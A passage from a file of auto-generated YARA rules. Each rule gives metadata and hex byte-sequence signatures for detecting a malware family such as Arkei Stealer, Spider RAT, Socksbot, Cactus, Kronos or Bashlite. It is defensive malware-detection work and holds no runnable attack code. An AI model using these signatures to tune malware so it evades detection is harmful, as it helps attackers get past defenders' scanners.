		$sequence_4 = { f2ae 8bcd 4f c1e902 f3a5 8b842464020000 }
		$sequence_5 = { 85c0 0f849f000000 8dbc246c020000 83c9ff 33c0 }
		$sequence_6 = { 8d04c0 8b0c8d40a7b402 f644810401 8d0481 7403 8b00 }
		$sequence_7 = { 5d 5b c3 8b542414 5f 5e 5d }
		$sequence_8 = { 8bac24a8020000 53 66ab aa }
		$sequence_9 = { 3bf8 0f8d43010000 8d4c2414 8d942498030000 51 }
	condition:
		7 of them and filesize < 90304
}

rule MALPEDIA_Win_Arkei_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1f91473e-0f59-5d43-b31c-36e662e7cb73"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arkei_stealer_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "ce62b8dc4f39a6203176e1a77c002f4403d000ee3dbdbb3ae02c853f65ed371e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f849ffeffff ba424d0000 668955ec 8b4620 8b0e 8d1481 }
		$sequence_1 = { 57 57 68000000c0 68???????? ff15???????? 8bf8 }
		$sequence_2 = { 52 57 8945f6 ff15???????? 85c0 0f8458feffff 8b4e20 }
		$sequence_3 = { 6689460c 668b4dd6 66894e0e 6683fb18 }
		$sequence_4 = { ff15???????? 85c0 74be 8b45e0 }
		$sequence_5 = { 8d55ec 52 57 8945f6 }
		$sequence_6 = { 895608 668b45d4 6689460c 668b4dd6 66894e0e }
		$sequence_7 = { 8b16 8d448a0e 6a00 8d4de4 51 6a0e }
		$sequence_8 = { 74be 8b45e0 8d55c4 52 6a18 50 }
		$sequence_9 = { 57 8945e8 ffd3 6a0a 57 8bf0 }
	condition:
		7 of them and filesize < 1744896
}

rule MALPEDIA_Win_Unidentified_112_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "088f625c-ef85-5039-b4a6-57af0a7b0b6b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_112"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_112_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "fc462a31ea1db66fb5cf9697b2cccafd272c6a5cfa6825d7930166b5fbdba921"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 4883ec38 488daa80000000 48817d70ff7f0000 762e c6858f00000000 c6858e00000000 }
		$sequence_1 = { e8???????? 84c0 0f8496000000 b12c e8???????? 84c0 0f8487000000 }
		$sequence_2 = { 498d4850 498b5040 4d8b4048 ff5010 4883bde001000000 7525 488b85d8020000 }
		$sequence_3 = { e8???????? 498b4e50 ba50000000 41b808000000 e8???????? 488b45f0 49894650 }
		$sequence_4 = { c1ea13 448d0c12 478d0c89 4429c8 0c30 8841ff 48ffc9 }
		$sequence_5 = { e8???????? 84c0 0f841bf5ffff 488b05???????? 488b08 488b4138 4885c0 }
		$sequence_6 = { 56 57 53 4883ec28 488daa80000000 488b8d48100000 488bb550100000 }
		$sequence_7 = { c685de01000000 488d8d50010000 e8???????? eb71 488b8550010000 488b8d58010000 488b9560010000 }
		$sequence_8 = { ba22000000 e8???????? e9???????? c685e305000001 488d0d4bd01500 4c8d053cd31500 ba22000000 }
		$sequence_9 = { eb56 31f6 4989dd bf03000000 eb4a 0fb7ca 25ff030000 }
	condition:
		7 of them and filesize < 7317504
}

rule MALPEDIA_Win_Socksbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "faec2b10-b495-5749-b587-f624aaef83b1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socksbot_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "369cd58dedba09e8aa40e9db282016f7a46ee224d612c8da35e03725828fb9df"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a0d 50 8945fc e8???????? 8bf8 }
		$sequence_1 = { 8d85acfeffff 50 51 c785acfeffff01000000 899db0feffff 894df0 c745f400879303 }
		$sequence_2 = { 33c0 5f c9 c20400 55 8bec 81ec0c030000 }
		$sequence_3 = { 324415bc 320439 32c3 880439 }
		$sequence_4 = { 33c1 c1e002 33c1 c1e002 }
		$sequence_5 = { c3 8b400c 8b00 ff30 ff15???????? 85c0 74eb }
		$sequence_6 = { 03f3 eb6d 8b460c 03c3 }
		$sequence_7 = { 8b55f8 43 8802 8b35???????? 33c0 3bdf }
		$sequence_8 = { 880e 4a 75f7 5f 5e 5d c3 }
		$sequence_9 = { a3???????? c605????????00 5b c9 c3 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Webc2_Adspace_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "58de5ec4-0318-51d8-b594-608e74c6b19b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_adspace_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "a92489c81a6d8e641c169a9deed543e2e8352f876cddeafa8d67d22e27f031a4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 8d7c241d c744241400010000 f3ab }
		$sequence_1 = { e8???????? 8b4c2420 2bc7 03c1 50 89442424 }
		$sequence_2 = { e8???????? 8365fc00 57 56 8d4dec }
		$sequence_3 = { 50 ff15???????? ff742410 e8???????? 56 e8???????? 55 }
		$sequence_4 = { 50 89442438 e8???????? ff742438 ff15???????? 69c060ea0000 83c42c }
		$sequence_5 = { 85c0 7408 c744241001000000 bf???????? }
		$sequence_6 = { 83c40c 8bf8 8d45fc 50 a1???????? 40 50 }
		$sequence_7 = { b8???????? e8???????? 81ec08010000 53 56 8b1d???????? 57 }
		$sequence_8 = { ffd6 b8???????? 5e 5b c9 }
		$sequence_9 = { 83c418 8d85ecfeffff 68???????? 50 ff15???????? 85c0 a3???????? }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Spider_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5c1d0a0a-c7b7-560c-afbd-cff397912aa2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spider_rat_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "91b51e3f34e8589c66f7bc8774754ce78933dd5fa4cfa89093817c8c758e1ad5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 493bce 7415 488b01 4d8bc5 ba01000000 ff5020 8bd8 }
		$sequence_1 = { 833903 b801000000 756e 397104 7569 488b4908 4885c9 }
		$sequence_2 = { e8???????? cc 488d88c0000000 488d15b2f7ffff e8???????? 8bce 483bc6 }
		$sequence_3 = { 7433 488bc8 833904 7517 44396104 7511 }
		$sequence_4 = { 4c8be8 c64424305c 41b901000000 4983c8ff 488d542430 488bce e8???????? }
		$sequence_5 = { 0fb601 8807 48ffc1 48ffc7 84c0 75f1 49837d2010 }
		$sequence_6 = { 4883ec20 488d05df860200 488bf9 488901 4883c118 e8???????? 488b5718 }
		$sequence_7 = { 488b4c2440 488d542478 488b01 ff5018 413bc6 8bd8 0f8c4c010000 }
		$sequence_8 = { b890900100 e8???????? 482be0 48c7442448feffffff 488b05???????? 4833c4 4889842480900100 }
		$sequence_9 = { 664489442420 4533c9 4c8d05322a0200 418b9424f0000000 ff5030 488b8c2420010000 488b01 }
	condition:
		7 of them and filesize < 1107968
}

rule MALPEDIA_Win_Woodyrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff2403f4-80f5-5a92-a716-69463c81a517"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woodyrat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "0875a91df86b2a6e691c8414a33ce11802859bc8c34fd58e245e57021b392621"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? c745fcffffffff 83c404 8b4db0 8bf8 85c9 7411 }
		$sequence_1 = { c7473400000000 c7473800000000 0f104624 0f114724 f30f7e4634 660fd64734 66894624 }
		$sequence_2 = { 2bc1 c1f803 69f0abaaaaaa b8aaaaaa0a 8bce d1e9 2bc1 }
		$sequence_3 = { 0f57c0 c707???????? 0f43c8 660fd64704 8d4704 c745a800000000 50 }
		$sequence_4 = { ff15???????? 0f57c0 c78558ecffff00000000 660fd68550ecffff 6800010000 c78554ecffff20000000 c78558ecffff00010000 }
		$sequence_5 = { 0f114630 e9???????? 8bc1 b9feffff7f 83c807 3dfeffff7f 0f47c1 }
		$sequence_6 = { 7409 50 e8???????? 83c404 837dd000 8b45cc 7704 }
		$sequence_7 = { 40 894dc8 50 ff75e0 51 e8???????? 8b45c0 }
		$sequence_8 = { 50 8d8de4f9ffff e8???????? 8bbd10f9ffff 8d8dd8f9ffff 8b7f08 89bd10f9ffff }
		$sequence_9 = { 899d44ffffff 50 52 c78540ffffff00000000 ff15???????? 6898000000 8d8558ffffff }
	condition:
		7 of them and filesize < 785408
}

rule MALPEDIA_Win_Micrass_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a229f115-b5ac-5aa3-9ddb-ec5c8630e70f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.micrass_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "639446b0255ff71a4b5f82ebea10985e5191c147bc877240c832d8560fe4064d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 33db 53 6801001f00 ff15???????? 3bc3 }
		$sequence_1 = { 770f 0fb7c2 0fbe80e8014100 83e00f eb02 }
		$sequence_2 = { c1f905 8d3c8da0dd4000 8bf0 83e61f c1e606 }
		$sequence_3 = { 50 8d85c03fffff 50 e8???????? 59 59 85c0 }
		$sequence_4 = { a1???????? 33c5 8945fc ff7508 8d85e04fffff 56 }
		$sequence_5 = { 56 50 e8???????? 8b85e44fffff 83c40c }
		$sequence_6 = { c1f905 8b0c8da0dd4000 83e01f c1e006 f644080401 74cd }
		$sequence_7 = { c785fcfefffff4f4f4f4 c78500fffffff4f4f4f4 c78504fffffff4f4f4f4 c78508fffffff4f4f4f4 }
		$sequence_8 = { c745a0808084b7 c745a4989b8791 c745a8bc959a90 c745ac9891f4f4 c745b0f4f4f4f4 c745b4f4f4f4f4 }
		$sequence_9 = { c745b8f4f4f4f4 c745bcf4f4f4f4 c745c0f4f4f4f4 c745c4f4f4f4f4 }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Cactus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eb289dca-899a-5588-9223-1deb6b75b964"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cactus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cactus_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "c959580feec97f87bfc35165a408b3d9e2aec2dc4a519f266c222421b5acd4bf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 85c0 0f843e010000 488d1592b52000 4889d9 e8???????? 85c0 }
		$sequence_1 = { e8???????? e8???????? 4c8d05d3572000 baf10c0000 488d0d7f562000 e8???????? 4531c0 }
		$sequence_2 = { ffd7 8b18 4180fd01 76e1 4584f6 759b e8???????? }
		$sequence_3 = { e8???????? 4531c0 ba00010c00 b90d000000 e8???????? 4889e9 e8???????? }
		$sequence_4 = { e8???????? 4889c1 e8???????? 488b4b30 4889c2 488b4328 488b4078 }
		$sequence_5 = { eb99 c744243806000000 6690 f6431830 0f85cffdffff 488d35df063a00 e9???????? }
		$sequence_6 = { e9???????? e8???????? 4c8d056ab43a00 bad6000000 4889e9 e8???????? 4531c0 }
		$sequence_7 = { e8???????? 488b4b10 e8???????? 85c0 0f85b4000000 488b8b90000000 bf01000000 }
		$sequence_8 = { e8???????? 4989d8 4889fa 4889f1 e8???????? 488d542423 4989d8 }
		$sequence_9 = { bacb010000 488d0d282d3b00 e8???????? 4531c0 ba00010c00 b939000000 e8???????? }
	condition:
		7 of them and filesize < 13587456
}

rule MALPEDIA_Win_Kronos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "926e3174-18bd-5768-8bad-aee020442946"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kronos_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "37c4a3cedbb07e112b6f5ea1747119314006e52be9a57885219c4b994f74b249"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 8bca e8???????? 8b4510 015f0c 8b4f0c 33d2 }
		$sequence_1 = { 8b4508 8b4d10 5f 5b c70000000000 }
		$sequence_2 = { e8???????? 83450810 83451010 ff4d0c 837d0c00 7fe2 }
		$sequence_3 = { 8955f4 8975f8 bfff000000 3935???????? 754a c705????????01000000 53 }
		$sequence_4 = { 83c40c 837dfc02 724b 8b55f4 83c208 52 8d4de0 }
		$sequence_5 = { 57 56 56 8d8da0efffff }
		$sequence_6 = { 8945c8 3bc6 0f8406020000 bfd8010000 57 e8???????? }
		$sequence_7 = { 53 ff15???????? 8b442418 5f 5e 5b 8be5 }
		$sequence_8 = { 50 8d45e8 50 ffd2 8b4804 8b7008 }
		$sequence_9 = { b84d5a0000 663901 0f857f010000 8b413c 03c1 813850450000 0f856e010000 }
	condition:
		7 of them and filesize < 1302528
}

rule MALPEDIA_Win_Adkoob_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bebf573b-46be-5024-b08d-6d19c81fe200"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adkoob_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "9df45dbba7685f4e50394d5dc1c9c28bf484da1b0409fe46575f0443f2099dc5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4eb0 8b4004 c74430980c4b4c00 8b4698 8b5004 8d4298 89443294 }
		$sequence_1 = { 8b45f8 53 ff75fc 50 6a7e 5a 8bcf }
		$sequence_2 = { 894638 85c0 740f 68???????? 50 ff15???????? 894640 }
		$sequence_3 = { 898424fc000000 33c0 898424f8000000 89842400010000 89842404010000 8a83a4010000 88443134 }
		$sequence_4 = { 897dec 8945fc 85ff 741b 8b7508 8bcf 56 }
		$sequence_5 = { b8???????? e8???????? 8bf2 8bf9 89bd0cffffff 33c0 898508ffffff }
		$sequence_6 = { 8bf9 83fb1c 7517 837f2400 7511 ff750c 8b5508 }
		$sequence_7 = { 8d4e28 51 8d4e20 f7de 8b10 1bf6 23f1 }
		$sequence_8 = { 8b4714 8945f8 81e1f7ff0000 8bd3 66894f18 8bce e8???????? }
		$sequence_9 = { ff75c4 ffb540ffffff e8???????? 83c428 837da400 741a ffb56cffffff }
	condition:
		7 of them and filesize < 1867776
}

rule MALPEDIA_Win_Temp_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "06945ffb-74bb-55c6-897c-840bc8a35717"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.temp_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.temp_stealer_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "0687eb315a2ca722457708cc43ae8e72e82f9cde0b8833cdb29551011317ae50"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b4d08 e8???????? 4403f7 4883c330 443bb518020000 0f8c37ffffff 488b5d00 }
		$sequence_1 = { 488d1537b00300 488bcb ff15???????? 488945b0 488d1533b00300 488bcb ff15???????? }
		$sequence_2 = { f20f58cb f20f58cf f20f102d???????? 488d1592e10100 f20f59ee f2430f1004c1 }
		$sequence_3 = { 4533c0 baa00f0000 e8???????? 488b05???????? 4c8d05f52b0300 488bd5 48c1fa06 }
		$sequence_4 = { 488d0526dc0100 483947f0 741a 488b0f 4885c9 7412 833900 }
		$sequence_5 = { 90 488b8d80000000 e8???????? 90 498bcd }
		$sequence_6 = { 488b13 48c1e205 4883c208 488bcb e8???????? 90 4183660800 }
		$sequence_7 = { 894708 488d5901 41bf20000000 418bc7 48f7e3 498d4fdf 480f40c1 }
		$sequence_8 = { 48895c2478 488d5530 488d4c2460 e8???????? 90 488d5580 }
		$sequence_9 = { 90 488d442440 48894558 4c897c2440 4c897c2450 48895c2458 488d153cc80300 }
	condition:
		7 of them and filesize < 652288
}

rule MALPEDIA_Win_Zerocleare_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "44db0221-dc66-5a41-bbf8-146a25155baf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zerocleare_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "e4821dd22695093410a23835df9e39372b43fe15a2de70debfb45b9cb2592dab"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d45d0 837de408 68???????? 0f4345d0 68000000c0 50 e8???????? }
		$sequence_1 = { ff249d01c04000 8b46e4 3b42e4 744f 0fb6f8 0fb642e4 2bf8 }
		$sequence_2 = { 8b049d40fd4400 f644082801 7469 56 }
		$sequence_3 = { 8b0cb540fd4400 83c410 8985f4efffff 8bc2 8b95f4efffff }
		$sequence_4 = { 6a05 e8???????? 83c404 6a00 ff74f704 ff34f7 }
		$sequence_5 = { 56 8b7508 ff34b5109f4300 e8???????? 50 ff34b52c9f4300 8d4dec }
		$sequence_6 = { 7cde 68???????? e8???????? 8b8504f8ffff }
		$sequence_7 = { 83c404 89460c 83fa08 722e }
		$sequence_8 = { 833d????????00 0f852ce4ffff 8d0dc0524400 ba1b000000 e9???????? a900000080 }
		$sequence_9 = { c7401000000000 c7401407000000 668908 c645fc04 8b9530f7ffff 83fa08 727f }
	condition:
		7 of them and filesize < 42670080
}

rule MALPEDIA_Win_Mylobot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f7dde5ee-bede-5ac3-b3eb-6e299ffacf3b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mylobot_auto.yar#L1-L174"
		license_url = "N/A"
		logic_hash = "56cc02e4b48743c53b559e650312c78d0538beee90fc9e32cc4b9fd49244eca7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 75f6 5e c3 8b442404 eb05 40 84c9 }
		$sequence_1 = { 6a00 6a00 8d8c24c4000000 51 }
		$sequence_2 = { 8b54241c 891481 ff430c 8b4ff0 85c9 7502 }
		$sequence_3 = { 8bf0 6aff 56 ff15???????? 56 ff15???????? 6810270000 }
		$sequence_4 = { 5d 5e 5b 81c404080000 c3 8b4c2404 8b54240c }
		$sequence_5 = { 42 84c9 75f6 5e c3 }
		$sequence_6 = { ff96a8000000 50 ff5670 a1???????? 57 ff742410 ff742414 }
		$sequence_7 = { 8b54240c 56 8b74240c 57 8bf9 2bf1 8bc2 }
		$sequence_8 = { ff15???????? 85c0 0f8447010000 8b742438 85f6 0f843b010000 8b3d???????? }
		$sequence_9 = { 51 8d8ddcfdffff e8???????? 83c404 85c0 }
		$sequence_10 = { c3 ff15???????? 8b45f0 50 ff15???????? }
		$sequence_11 = { b8???????? e8???????? 83c40c 85c0 0f84d9010000 }
		$sequence_12 = { 8d4dfc 51 52 ffd0 8b45fc }
		$sequence_13 = { 6a09 50 ffd2 8bf8 }
		$sequence_14 = { 7416 8bff 0fb6d0 8a9c15dcfdffff 84db }
		$sequence_15 = { 85c0 0f84c3000000 8b08 8d55f8 52 68???????? }
	condition:
		7 of them and filesize < 8028160
}

rule MALPEDIA_Win_Darkpink_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b675ae58-304b-51cc-82c9-2d05a952daf3"
		date = "2024-10-31"
		modified = "2024-11-11"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkpink_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "ae61fd7de2751bb38bc52ea4bef7ef6d5cc9562894ba78123146d52f1f8217ba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20241030"
		malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4"
		malpedia_version = "20241030"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8579010000 8b35???????? 68a6000000 68???????? 6a01 50 }
		$sequence_1 = { ffd3 85c0 7530 6a32 }
		$sequence_2 = { c1f806 6bc938 8b0485f09d4100 0fb6440828 83e040 5d }
		$sequence_3 = { c745e4a8604100 eb07 c745e494604100 8b4508 }
		$sequence_4 = { 8b04bdf09d4100 ff743018 ff15???????? 85c0 7404 }
		$sequence_5 = { 56 57 e8???????? 57 68???????? 53 }
		$sequence_6 = { 85f6 7420 6bc618 57 8db8f09b4100 }
		$sequence_7 = { 83e03f c1f906 6bd038 8b45fc 03148df09d4100 }
		$sequence_8 = { 83e73f c1f906 6bd738 8b0c8df09d4100 c644112800 }
		$sequence_9 = { 8bcf 83e03f c1f906 6bd038 8b45fc 03148df09d4100 }
	condition:
		7 of them and filesize < 237568
}

rule MALPEDIA_Elf_Bashlite_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bbeb65b7-8b2b-54dc-9314-a8bcbc56853e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.bashlite_auto.yar#L1-L94"
		license_url = "N/A"
		logic_hash = "98d7f6d0b73040daa4a477a42fca0025382c8a865bb2020813f6076b3c9fb152"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 750c c785ecefffff01000000 eb0a c785ecefffff00000000 }
		$sequence_1 = { f7d0 21d0 3345fc c9 c3 }
		$sequence_2 = { e8???????? 8945ec 837dec00 750b }
